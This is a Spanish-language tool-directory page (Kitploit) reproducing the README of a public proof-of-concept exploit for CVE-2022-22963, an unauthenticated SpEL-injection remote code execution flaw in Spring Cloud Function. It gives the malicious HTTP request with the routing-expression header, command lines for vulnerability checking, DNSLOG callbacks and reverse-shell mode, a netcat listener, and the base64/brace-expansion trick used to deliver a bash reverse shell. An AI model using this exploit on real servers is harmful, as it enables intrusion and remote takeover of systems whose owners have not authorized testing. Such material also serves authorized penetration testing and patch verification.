Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
Herramientas/GitHubGitHub/xmqaq/cve-2022-22963
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

Ver Repositorio
11hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-22963

Python License

Herramienta de detección y explotación de la vulnerabilidad de inyección de expresiones SpEL y ejecución remota de código en Spring Cloud Function.

Resumen de la vulnerabilidad

CVE-2022-22963 es una vulnerabilidad RCE de alto riesgo (CVSS 9.8) en la funcionalidad de enrutamiento de Spring Cloud Function. Cuando la aplicación tiene habilitado el endpoint /functionRouter, el valor de la cabecera spring.cloud.function.routing-expression se ejecuta directamente como una expresión SpEL (Spring Expression Language), lo que permite a un atacante ejecutar comandos arbitrarios en el servidor objetivo sin necesidad de autenticación.

Versiones afectadas:

RamaVersiones afectadasVersión corregida
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

Principio de la vulnerabilidad:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

Tras ejecutar la expresión SpEL, exec() devuelve un objeto Process. Spring lanza una excepción al intentar serializarlo y la respuesta es HTTP 500. El comando se ejecuta de forma asíncrona en segundo plano; el resultado no se muestra en la respuesta HTTP, por lo que debe confirmarse mediante canales laterales como DNSLOG o una reverse shell.

Funcionalidades

  • Detección de la vulnerabilidad: determina si el objetivo es vulnerable provocando una respuesta característica mediante SpEL
  • Verificación con DNSLOG: envía una solicitud ping al dominio DNSLOG y confirma la ejecución del comando a través de los registros DNS
  • Reverse shell: utiliza codificación base64 para evitar la restricción de espacios y devuelve una shell interactiva a la dirección especificada

Instalación

root@kitploit:~
pip install requests

Python 3.6+ sin otras dependencias.

Uso

root@kitploit:~
python3 CVE-2022-22963.py -u <URL_objetivo> [opciones]

Descripción de parámetros

Detección de la vulnerabilidad

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com ¡es vulnerable!

Verificación con DNSLOG

Se utiliza para confirmar que el comando se ejecutó realmente cuando no hay salida visible:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload enviado, compruebe si abc123.dnslog.cn ha recibido una solicitud DNS (confirma la ejecución real)

A continuación, verifique en la plataforma DNSLOG si se ha recibido una consulta DNS desde la IP del objetivo.

Reverse shell

Abra un listener en la máquina del atacante:

root@kitploit:~
nc -lvnp 9999

Envíe el payload:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload enviado, espere la conexión en 192.168.1.100:9999 (solo objetivos Linux/bash)

Nota: la reverse shell depende de que el sistema objetivo tenga soporte para /dev/tcp; solo funciona en entornos Linux + bash, y no es compatible con objetivos Windows ni con shells como sh/ash/dash.

Detalles técnicos

Principio de detección

La solicitud de detección envía una expresión SpEL real a /functionRouter:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • Vulnerable: la expresión SpEL se ejecuta, el objeto Process no puede serializarse → HTTP 500 + "path":"/functionRouter"
  • No vulnerable: la cabecera se ignora y el enrutamiento de funciones falla → el código de respuesta o el body no coinciden con las características anteriores

Proceso de codificación de la reverse shell

Runtime.exec(String) no pasa por la interpretación de la shell: divide la cadena de comandos directamente por espacios y no puede manejar tuberías ni redirecciones. La herramienta lo resuelve de la siguiente manera:

  1. Codifica el comando de la reverse shell en base64 para eliminar caracteres especiales
  2. Utiliza brace expansion de bash {cmd,arg} en lugar de espacios
  3. Finalmente, el parámetro -c del bash del objetivo se encarga de las tuberías y redirecciones
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec divide por espacios
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c aplica brace expansion al argumento
echo BASE64 | base64 -d | bash -i

Historial de cambios

FechaVersiónDescripción
2023-12-28v1.0Publicación de la versión inicial
2025-10-09v1.1Refactorización del código, optimización del manejo de parámetros y del control de errores

Aviso de responsabilidad

Esta herramienta está destinada exclusivamente a investigación de seguridad, pruebas de penetración autorizadas y fines educativos.

El uso de esta herramienta implica que usted acepta:

  1. Utilizarla únicamente en sistemas objetivo con autorización escrita explícita
  2. Cumplir todas las leyes y regulaciones aplicables en su jurisdicción
  3. Asumir toda la responsabilidad por las consecuencias derivadas del uso de esta herramienta

El autor no se hace responsable de ningún uso no autorizado ni de sus consecuencias.

Descargar herramienta
ParámetroDescripciónValor por defecto
-u, --urlURL del objetivo (obligatorio)—
-c, --checkComprueba si la vulnerabilidad existe—
-m, --modeModo de explotación: dnslog o shell—
-d, --dnsDominio DNSLOG (se usa con -m dnslog)—
-i, --ipIP del receptor de la reverse shell (se usa con -m shell)—
-p, --portPuerto del receptor de la reverse shell9999
-t, --timeoutTiempo de espera de la solicitud (segundos)5
2026-06-29v1.2Corrección de falsos positivos en la detección, de la concatenación de rutas context path y de la semántica del valor de retorno del exploit